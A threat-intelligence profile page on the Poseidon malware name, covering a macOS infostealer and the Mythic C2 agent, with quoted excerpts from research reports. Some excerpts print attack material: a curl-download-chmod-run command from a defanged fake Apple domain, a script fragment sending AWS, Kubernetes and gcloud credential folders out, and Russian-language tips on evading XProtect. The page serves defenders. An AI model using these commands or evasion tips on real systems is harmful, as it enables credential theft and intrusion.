Loading malware…
Poseidon is a name used for multiple distinct malware strains, most prominently a macOS-focused infostealer and a Go-based Mythic post-exploitation agent/backdoor for macOS and Linux. The macOS infostealer variant is widely recognized as a fork of Atomic macOS Stealer (AMOS) and became one of the most active Mac stealers in late 2024. It targets browser credentials and cookies, password manager data, cryptocurrency wallets, VPN configurations, and other user secrets, and has been associated with malvertising, fake software installers, cracked-software lures, and social-engineering prompts that mimic native Apple dialogs to harvest credentials. Reported capabilities include theft of browser passwords and cookies, cryptocurrency wallet data, and other application secrets from both consumer and business Mac systems.
Separately, Poseidon is also the primary macOS agent for the Mythic C2 framework, written in Go and used as a full-featured post-exploitation backdoor. This Poseidon agent has been observed in supply-chain compromises and targeted intrusions, including deployment on macOS and Linux systems after initial access. Reported functionality includes beaconing, shell execution, file operations, process listing, screenshot capture, clipboard monitoring, keylogging, credential harvesting, persistence, and support for lateral movement. On macOS, persistence mechanisms have included LaunchAgent, LaunchDaemon, and Login Item techniques. The Mythic Poseidon agent has been referenced in operations involving developer and CI/CD environments, as well as activity attributed to Transparent Tribe/APT36 and other intrusion sets using Linux-oriented RAT workflows.
Because the same name is used for both an infostealer lineage and a Mythic backdoor agent, attribution and classification should be handled carefully in operational contexts. In current security reporting, the most commonly searched and recognized use of Poseidon in the macOS malware ecosystem is the AMOS-derived infostealer.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
After gaining initial access to the developer's machine, attackers deployed MythicC2's Poseidon agent, a robust Golang-based payload offering advanced stealth and extensive post-exploitation capabilities for macOS environments.
Tied together with six months of passive DNS, this is the fourth Linux-oriented RAT family APT36 has rotated through since mid-2024 (Poseidon → AresRAT → DeskRAT, alongside the parallel Windows CrimsonRAT track).
30 distinct techniques documented for this family, organized by ATT&CK tactic.
SentinelLabs has investigated a supply-chain attack against the Rust development community... the malicious crate typosquats against the well known rust_decimal package... the intended targeting could lead to subsequent larger scale supply-chain attacks depending on the GitLab CI pipelines infected.
These attacks rely on fake software installers disguised as legitimate apps, tricking users into handing over access without raising any alarm.
The malware also establishes persistence by means of a cron job that executes the main payload automatically after a system reboot or process termination.
Once available, rustdecimal issues the appropriate commands to set the binary as executable and spawn it as a fork. In macOS systems, it takes the extra step of clearing the quarantine extended attribute before executing the payload.
Рабочее решение — apfell-агент, который работает через osascript (AppleScript, T1059.002, Execution) и не зависит от архитектуры процессора. Callback через osascript проходит на arm64 без проблем.
The command that’s copied for macOS devices instructs the system to... curl -o /tmp/update hxxps[:]//applemacios[.]com/getrur/update ... chmod +x /tmp/update ... Run the downloaded file /tmp/update.
На практике для обхода XProtect хватает двух: шифрование строк (характерные user-agent, URL-паттерны) и пересборка из исходников с рефакторингом структуры бинаря
Attackers invest heavily in making fake installers look exactly like the real thing, complete with branded graphics and instructions guiding victims to bypass Apple’s built-in protections.
Point-of-Sale (PoS) terminals have become an attractive target for hackers over the past year, reflected in the increasing number of RAM-scraping programs that steal payment card information from the memory of such systems.
the payload contains a switch with a large array of tasking options, including screencapture, keylogging, uploading and downloading files.
Armed with the developer's AWS access key ID, secret key, and temporary session token, the threat actors then authenticated into Safe{Wallet}’s AWS environment...
Credentials, browser cookies, authentication tokens, and crypto wallets are all fair game.
The malicious code embedded into the packages comes with capabilities to siphon system information, access tokens, environment secrets, and API keys from developer environments... It also harvests API keys for nine large language models (LLM) providers.
This script collects a vast amount of data... send_directory ( 'home/aws' , 'aws' , os . path . join ( home_dir , '.aws' ) , True ) ... send_directory ( 'home/kube' ... ) ... send_directory ( 'home/gcloud' ... )
The function profile.Start() then initiates communication with the C2... Both samples reach out to the same C2 for tasking... the payload contains a switch with a large array of tasking options, including screencapture, keylogging, uploading and downloading files.
21 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
23 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Referenced as an example of existing macOS malware in background context only.
C2 agent referenced as an example of an already-deployed implant on a target macOS host.
A macOS infostealer associated with deceptive DMG-based installers that socially engineer users into bypassing Gatekeeper in order to steal credentials, cookies, authentication tokens, and cryptocurrency wallet data.
A Linux ELF RAT family previously used by APT36 as part of its Linux implant evolution before AresRAT and DeskRAT.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.